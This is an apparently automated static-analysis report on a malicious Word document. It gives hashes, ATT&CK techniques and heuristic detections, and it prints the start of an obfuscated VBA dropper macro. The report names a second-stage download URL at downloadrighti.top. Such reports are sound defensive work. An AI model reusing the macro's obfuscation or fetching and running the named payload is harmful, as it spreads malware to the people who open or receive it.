Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 55ef0c76908b2eba…

MALICIOUS

Office (OLE)

235.5 KB Created: 2018-06-04 20:59:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: b95c5c39156349ea416e3575ffcf4947 SHA-1: d64639e24ad1535e785315c2cad80c5b1001a47b SHA-256: 55ef0c76908b2ebad977869de8a1550f9aa27d690260105465852f27f4e6aea3
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro is configured to execute automatically via the AutoOpen function and uses CreateObject to initiate its malicious actions. The primary goal appears to be downloading and executing a second-stage payload from the URL http://downloadrighti.top/text.png.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6573639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6573639-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://downloadrighti.top/text.png In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 96970 bytes
SHA-256: c85af68af7fe49c642df85808d42d2a31fb895aae4b9fdff9b384391cf62a0b7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Z3wrQ3"
Public Function z9P4yH6SBIJhcqk(ByRef Zb2Mm9uQOpXA1T As String, ByRef THREE As String) As String
Dim ykZ1LCjWMOtBOaG() As Byte
If Application.UserName = "AV6gR4fP81i" Then
MsgBox ("FFISp8Ds6M9")
Else
Dim RJWDG9JBimsV6P As Integer
End If
Dim wojrPE5Ls8Rzwgs As String
wojrPE5Ls8Rzwgs = Application.UserName
Dim bNfMGy4z5qosaJd6y, BOBdjbpanFig6xIQNjb As Integer
BOBdjbpanFig6xIQNjb = Len(wojrPE5Ls8Rzwgs)
Dim LV0S2I6pK9wgsGNM As Collection
While BOBdjbpanFig6xIQNjb > 1
bNfMGy4z5qosaJd6y = bNfMGy4z5qosaJd6y + 4
BOBdjbpanFig6xIQNjb = BOBdjbpanFig6xIQNjb - 1
Wend
Dim lfSzbXe0wdi7uBi As String
lfSzbXe0wdi7uBi = Application.UserName
Dim vGkQBv25PeNxNUrcP, aEBSEEdSQCN6TJQcdKM As Integer
aEBSEEdSQCN6TJQcdKM = Len(lfSzbXe0wdi7uBi)
Dim uphPnEXTrlmcwTBM As Collection
While aEBSEEdSQCN6TJQcdKM > 1
vGkQBv25PeNxNUrcP = vGkQBv25PeNxNUrcP + 2
aEBSEEdSQCN6TJQcdKM = aEBSEEdSQCN6TJQcdKM - 1
Wend
Dim gSkB7GjYrpluJva As Collection
Set gSkB7GjYrpluJva = New Collection
gSkB7GjYrpluJva.Add "85DDMfpwnpREL3DsA94"
gSkB7GjYrpluJva.Add "qGXp4iQHhClHxcKdYRuQ68yWNAHE1HkOwCRxqYR"
gSkB7GjYrpluJva.Add "oGmq6Wa3PmrK86sSBb3aMQZcXUwKVz99z1R2MpQoqLlf2EyFjho6YgMYqJTmjQhbmrWHpxFVKPtBo4jTgrkyIDlRo3LCWo"
Dim mbTvIwLtvjAF2p As Object
Dim DzWbnCUrMjLzMuGueu() As Byte
If Chr(Tan(CDbl(1.55609150441705))) = D Then
Dim ZrbAX15FDtzwx5 As String
Dim cddKivuKu06 As String
cddKivuKu06 = vWWGUIoAPSl
ZrbAX15FDtzwx5 = B29cg7h7dli
End If
If (StrComp(ZrbAX15FDtzwx5, cddKivuKu06, vbTextCompare) <> 0) Then
MsgBox ("Ue9xSnYZT7lEcf")
End If
Dim y2Gf0Bmx8oazg6 As Integer
Dim x8xWV08viiO As String
y2Gf0Bmx8oazg6 = 5235
Dim GhJmrJOtGhq As Integer
x8xWV08viiO = Right(CStr(y2Gf0Bmx8oazg6), Chr(Tan(CDbl(1.55039099610836))))
GhJmrJOtGhq = CInt(x8xWV08viiO)
For tNuHJtoSAzn = GhJmrJOtGhq To 44
y2Gf0Bmx8oazg6 = y2Gf0Bmx8oazg6 + 1
Next tNuHJtoSAzn
If Chr(Tan(CDbl(1.55874871694071))) = S Then
Dim kPHPiaeY1y3tNO As String
Dim kVWT6CnqgWy As String
kVWT6CnqgWy = qsNuBrLxzzI
kPHPiaeY1y3tNO = EE90NFlYXv8
End If
If (StrComp(kPHPiaeY1y3tNO, kVWT6CnqgWy, vbTextCompare) <> 0) Then
MsgBox ("rsD3wpikAsubus")
End If
Dim FxiFI9Dx2eqI5f, NNzaVnPH6av As String
FxiFI9Dx2eqI5f = 3
NNzaVnPH6av = 8
#If FxiFI9Dx2eqI5f > NNzaVnPH6av Then
Dim Op1jYJzlcjt As Object
#Else
Dim Op1jYJzlcjt As Integer
Op1jYJzlcjt = 3 + 8
Dim B5kuY4xw7rL As Integer
For KnLoI5oE83I = B5kuY4xw7rL To FxiFI9Dx2eqI5f
B5kuY4xw7rL = B5kuY4xw7rL + CInt(Chr(Tan(CDbl(1.55039099610836))))
Next KnLoI5oE83I
#End If
Dim HCp6rZ4WMGY7rh As Integer
For FBkp5bqgMLX = 1 To 17
HCp6rZ4WMGY7rh = FBkp5bqgMLX
Next FBkp5bqgMLX
Dim eXTqQosbfVImLF As Integer
Dim zCk3UVyehiR As String
eXTqQosbfVImLF = 1857
Dim a2mnEliLXb2 As Integer
zCk3UVyehiR = Right(CStr(eXTqQosbfVImLF), Chr(Tan(CDbl(1.55039099610836))))
a2mnEliLXb2 = CInt(zCk3UVyehiR)
For BrYOuUHI3vN = a2mnEliLXb2 To 86
eXTqQosbfVImLF = eXTqQosbfVImLF + 4
Next BrYOuUHI3vN
If Len(Application.UserName) < 100 Then
Dim UJEHfuhzjag4FCV As String
End If
Dim m00zqZZybjCEvN9 As String
m00zqZZybjCEvN9 = Application.UserName
Dim BclYYZa4sYYnFcV7K, SFm23icAXoa5EH35pnB As Integer
SFm23icAXoa5EH35pnB = Len(m00zqZZybjCEvN9)
Dim JNv8oyLcTRg9DuXz As Collection
While SFm23icAXoa5EH35pnB > 6
BclYYZa4sYYnFcV7K = BclYYZa4sYYnFcV7K + 5
SFm23icAXoa5EH35pnB = SFm23icAXoa5EH35pnB - 1
Wend
Dim CBEpotrTslxbxVE As String
CBEpotrTslxbxVE = Application.UserName
Dim ZFJciT6b77CdSOnif, EFDU24YIrhS6KbLeSmq As Integer
EFDU24YIrhS6KbLeSmq = Len(CBEpotrTslxbxVE)
Dim d576wh1fX2u7pVWH As Collection
While EFDU24YIrhS6KbLeSmq > 2
ZFJciT6b77CdSOnif = ZFJciT6b77CdSOnif + 3
EFDU24YIrhS6KbLeSmq = EFDU24YIrhS6KbLeSmq - 1
Wend
Dim SXVnfGQL1VqxPP7 As Collection
Set SXVnfGQL1VqxPP7 = New Collection
SXVnfGQL1VqxPP7.Add "BuciNlshwBrDqNpgk8JNnlJLu
... (truncated)